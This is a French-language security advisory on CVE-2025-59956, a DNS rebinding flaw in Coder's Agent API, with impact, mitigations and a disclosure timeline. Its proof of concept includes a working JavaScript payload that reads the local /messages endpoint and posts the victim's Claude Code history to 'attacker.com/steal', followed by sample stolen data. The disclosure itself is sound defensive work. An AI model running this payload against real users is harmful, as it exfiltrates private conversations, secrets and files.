Auteur : Evan Harris
Composant affecté : Agent API de Coder
CVE : CVE-2025-59956
Score CVSS 3.1 : 6.5 (Moyen) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Aperçu

L’Agent API de Coder est une API HTTP open source pour Claude Code, Goose, Aider, Gemini, Amp et Codex.

MCPSec a découvert une vulnérabilité de DNS rebinding dans l’Agent API qui permet à des attaquants distants d’exfiltrer l’historique des messages Claude Code d’un utilisateur.

Coder a corrigé ce problème dans la version v0.4.0. Les utilisateurs de l’Agent API doivent effectuer la mise à jour vers cette version ou une version ultérieure.

Impact

Les attaquants obtiennent un accès GET complet au point de terminaison /messages servi par l’Agent API.

Cela permet l’exfiltration non autorisée de données utilisateur sensibles, en particulier l’historique local des messages, qui peut inclure des clés secrètes, le contenu du système de fichiers et la propriété intellectuelle sur laquelle l’utilisateur travaille localement.

Le DNS rebinding peut se produire en quelques secondes une fois la connexion établie avec un serveur web malveillant.

Preuve de concept

Partons des hypothèses suivantes :

  • La machine de la victime exécute l’Agent API.
  • La victime navigue vers un site web malveillant.
  • Le site web exécute une attaque de DNS rebinding pour manipuler le navigateur web de la victime afin qu’il interagisse avec l’Agent API vulnérable pour le compte de l’attaquant.

Une fois le DNS rebinding terminé, un attaquant peut consommer le point de terminaison /messages servi localement. L’intégralité de l’historique de conversation d’une victime avec l’Agent API peut être exfiltrée vers le serveur d’un attaquant.

MCPSec a réalisé une attaque de preuve de concept de la manière suivante :

  1. Déployer une application de DNS rebinding (par exemple, Singularity of Origin).

  2. Construire une charge utile servie par un site web malveillant pour obtenir et exfiltrer des données.

Ce code JavaScript, servi depuis le site malveillant, récupère l’historique des messages et l’envoie à l’attaquant.

const AgentAPI = () => {
  function attack(headers, cookie, body) {
    fetch('http://localhost:3284/messages', {
      method: 'GET',
      mode: "cors",
    }).then(response => {
      const ATTACKER_SERVER = 'https://attacker.com/steal'
      response.json().then(victimMessageHistory => {
        fetch(ATTACKER_SERVER, {
          method: 'POST',
          headers: {
            'Content-Type': 'application/json',
          },
          body: JSON.stringify(victimMessageHistory)
        }).then(r => {
          console.log("attacker server response", r)
        }).catch(e => {
          console.error('failed to post', e)
        })
      }).catch(e => {
        console.error('failed to parse response ', e)
      })
    }).catch(e => {
      console.error("failed to get messages", e)
    })
  }

  // Invoked to determine whether the rebinded service
  // is the one targeted by this payload. Must return true or false.
  async function isService(headers, cookie, body) {
    let controller = new AbortController();
    let signal = controller.signal;
    return timeout(1000, fetch(`http://localhost:3284/docs`, {
        mode: 'no-cors',
        credentials: 'omit',
        signal
      }), controller)
      .then(response => {
        return true;
      })
      .catch(e => {
        return (false);
      })
  }

  return {
    attack,
    isService
  }
}

Registry["AgentAPI"] = AgentAPI();

Le point de terminaison /messages est servi sur la machine locale de la victime et répond avec son historique de conversation lorsqu’il est interrogé.

  1. L’attaquant doit exécuter un serveur de collecte de données qui recevra une requête POST. Le contenu de la requête POST doit être la réponse du point de terminaison /messages de l’Agent API de la victime.

Sur la machine de la victime, il a été demandé à l’Agent API d’examiner le système de fichiers local. Voici ce qui a été envoyé au serveur de collecte de données de l’attaquant :

Voici un exemple des données JSON dérobées à une victime qui avait interrogé l’agent au sujet de son système de fichiers local.

{
  "$schema": "http://localhost:3284/schemas/MessagesResponseBody.json",
  "messages": [{
    "id": 0,
    "content": "╭───────────────────────────────────────────────────╮ \n│ ✻ Welcome to Claude Code! │ \n│ │ \n│ /help for help, /status for your current setup │ \n│ │ \n│ cwd: /home/evan/Downloads │ \n╰───────────────────────────────────────────────────╯ \n \n ※ Tip: Press Esc twice to edit your previous messages ",
    "role": "agent",
    "time": "2025-07-25T11:20:04.988043205+02:00"
  }, {
    "id": 1,
    "content": "Hello, agent!",
    "role": "user",
    "time": "2025-07-25T13:11:16.699082236+02:00"
  }, {
    "id": 3,
    "content": "tell me about my filessytem",
    "role": "user",
    "time": "2025-07-25T13:14:51.120102556+02:00"
  }, {
    "id": 4,
    "content": "● I'll explore your filesystem to show you what's in your current directory \n and its structure. \n \n● List(.) \n ⎿ Listed 1048 paths (ctrl+r to expand) \n \n● Your Downloads directory contains a wide variety of files: \n \n Documents & PDFs [REDACTED_FOR_MY_OWN_SECURITY] The directory appears to be a typical developer's Downloads folder with a \n mix of tools, documents, and research materials, particularly focused on \n AI/ML security research.",
    "role": "agent",
    "time": "2025-07-25T13:15:10.681040365+02:00"
  }]
}

Mesures d’atténuation recommandées

Pour les utilisateurs (immédiat)

  • Effectuez immédiatement la mise à jour vers la version v0.4.0 ou ultérieure de l’Agent API. Cette version contient le correctif de la vulnérabilité.

Pour les développeurs (à long terme)

  • Mettez en place une validation robuste de l’en-tête Host pour toutes les API HTTP servies localement, afin de prévenir le DNS rebinding.
  • Mettez en place une protection CSRF pour prévenir d’autres formes d’attaques cross-origin.
  • Ajoutez des avertissements de sécurité dans la documentation des outils qui exposent des services réseau locaux.

Cette vulnérabilité a été signalée à l’équipe de Coder dans le cadre de pratiques de divulgation responsable. Coder a réagi rapidement pour corriger le problème.

Chronologie de la divulgation

  • 2025-07-25 : Rapport initial de la vulnérabilité soumis à Coder.
  • 2025-07-25 : Coder accuse réception du rapport.
  • 2025-07-29 : Coder indique avoir pu reproduire et valider le scénario d’attaque.
  • 2025-08-13 : La vulnérabilité a été corrigée.
  • 2025-08-21 : Coder décide d’attribuer une récompense de sécurité pour le rapport.
  • 2025-09-09 : Date de publication de l’avis convenue d’un commun accord.
  • 2025-09-19 : Avis de sécurité publié.

Conclusion

La vulnérabilité de DNS rebinding dans l’Agent API de Coder illustre un défi de sécurité critique pour l’écosystème grandissant des outils de développement locaux propulsés par l’IA. Bien que ces outils offrent des fonctionnalités puissantes, ils doivent être conçus avec une approche axée sur la sécurité afin de se protéger contre les menaces basées sur le web.

Un grand merci à l’équipe de Coder pour sa réaction rapide et professionnelle dans la correction de cette vulnérabilité. Tous les utilisateurs de l’Agent API doivent effectuer la mise à jour vers la dernière version afin de s’assurer d’être protégés.

Références